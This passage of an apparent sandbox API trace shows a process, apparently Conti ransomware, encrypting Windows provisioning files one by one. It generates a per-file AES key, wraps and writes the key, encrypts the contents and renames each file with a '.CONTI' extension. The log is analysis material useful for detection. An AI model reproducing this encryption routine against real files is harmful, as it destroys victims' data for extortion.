	[0111.860] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.860] CloseHandle (hObject=0x384) returned 1
	[0111.860] GetProcessHeap () returned 0x1720000
	[0111.860] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.860] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml"
	[0111.860] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.861] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\449__connections_cellular_avea (turkey)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\449__connections_cellular_avea (turkey)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.861] GetProcessHeap () returned 0x1720000
	[0111.861] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.861] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0111.861] GetProcessHeap () returned 0x1720000
	[0111.861] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808568 | out: hHeap=0x1720000) returned 1
	[0111.861] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0111.861] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x1806518 | out: phKey=0x1806518*=0x6b7f4f8) returned 1
	[0111.861] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x180651c, pdwDataLen=0x3bbfde4 | out: pbData=0x180651c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0111.862] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\450__connections_cellular_kktcell (turkey)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.862] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\450__connections_cellular_kktcell (turkey)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0111.863] GetLastError () returned 0x0
	[0111.863] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=720) returned 1
	[0111.863] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0111.863] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.863] SetEndOfFile (hFile=0x384) returned 1
	[0111.863] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.863] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.863] WriteFile (in: hFile=0x384, lpBuffer=0x180651c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x180651c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.868] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.868] ReadFile (in: hFile=0x384, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.868] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2d0, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2e0) returned 1
	[0111.868] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.868] WriteFile (in: hFile=0x384, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.868] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.868] WriteFile (in: hFile=0x384, lpBuffer=0x1806510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x1806510*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0111.868] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.868] CloseHandle (hObject=0x384) returned 1
	[0111.868] GetProcessHeap () returned 0x1720000
	[0111.868] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.868] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml"
	[0111.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.868] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\450__connections_cellular_kktcell (turkey)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\450__connections_cellular_kktcell (turkey)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.915] GetProcessHeap () returned 0x1720000
	[0111.915] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.915] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0111.915] GetProcessHeap () returned 0x1720000
	[0111.915] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808940 | out: hHeap=0x1720000) returned 1
	[0111.915] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0111.916] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x18069a8 | out: phKey=0x18069a8*=0x6b7f1f8) returned 1
	[0111.916] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x18069ac, pdwDataLen=0x3bbfde4 | out: pbData=0x18069ac*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0111.916] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\452__connections_cellular_turkcell (turkey)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.917] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\452__connections_cellular_turkcell (turkey)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0111.917] GetLastError () returned 0x0
	[0111.917] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=712) returned 1
	[0111.917] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0111.917] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.917] SetEndOfFile (hFile=0x384) returned 1
	[0111.917] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.917] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.920] WriteFile (in: hFile=0x384, lpBuffer=0x18069ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x18069ac*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.926] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.926] ReadFile (in: hFile=0x384, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2c8, lpOverlapped=0x0) returned 1
	[0111.926] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2c8, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2d0) returned 1
	[0111.926] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.926] WriteFile (in: hFile=0x384, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.926] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.927] WriteFile (in: hFile=0x384, lpBuffer=0x18069a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x18069a0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0111.927] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.927] CloseHandle (hObject=0x384) returned 1
	[0111.927] GetProcessHeap () returned 0x1720000
	[0111.927] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.927] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml"
	[0111.927] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.927] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\452__connections_cellular_turkcell (turkey)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\452__connections_cellular_turkcell (turkey)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.927] GetProcessHeap () returned 0x1720000
	[0111.928] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.928] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0111.928] GetProcessHeap () returned 0x1720000
	[0111.928] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808bd0 | out: hHeap=0x1720000) returned 1
	[0111.928] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0111.928] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x18059b0 | out: phKey=0x18059b0*=0x6b7f3f8) returned 1
	[0111.928] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x18059b4, pdwDataLen=0x3bbfde4 | out: pbData=0x18059b4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0111.928] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\454__connections_cellular_vodafone tr (turkey)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.929] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\454__connections_cellular_vodafone tr (turkey)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0111.929] GetLastError () returned 0x0
	[0111.929] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=846) returned 1
	[0111.929] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34e
	[0111.929] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.929] SetEndOfFile (hFile=0x384) returned 1
	[0111.929] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.929] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.929] WriteFile (in: hFile=0x384, lpBuffer=0x18059b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x18059b4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.935] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.935] ReadFile (in: hFile=0x384, lpBuffer=0x9880000, nNumberOfBytesToRead=0x34e, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x34e, lpOverlapped=0x0) returned 1
	[0111.935] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x34e, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x350) returned 1
	[0111.935] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.935] WriteFile (in: hFile=0x384, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x350, lpOverlapped=0x0) returned 1
	[0111.935] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.935] WriteFile (in: hFile=0x384, lpBuffer=0x18059a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x18059a8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0111.935] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.935] CloseHandle (hObject=0x384) returned 1
	[0111.936] GetProcessHeap () returned 0x1720000
	[0111.936] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.936] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml"
	[0111.936] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.936] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\454__connections_cellular_vodafone tr (turkey)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\454__connections_cellular_vodafone tr (turkey)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.936] GetProcessHeap () returned 0x1720000
	[0111.936] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.937] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0111.937] GetProcessHeap () returned 0x1720000
	[0111.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0e60 | out: hHeap=0x1720000) returned 1
	[0111.937] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0111.937] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x1805bf8 | out: phKey=0x1805bf8*=0x6b7f2b8) returned 1
	[0111.937] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x1805bfc, pdwDataLen=0x3bbfde4 | out: pbData=0x1805bfc*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0111.937] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\456__connections_cellular_vf kktc telsim (cyprus)_i0$(__mvid)@wap.provxml")) returned 0x20
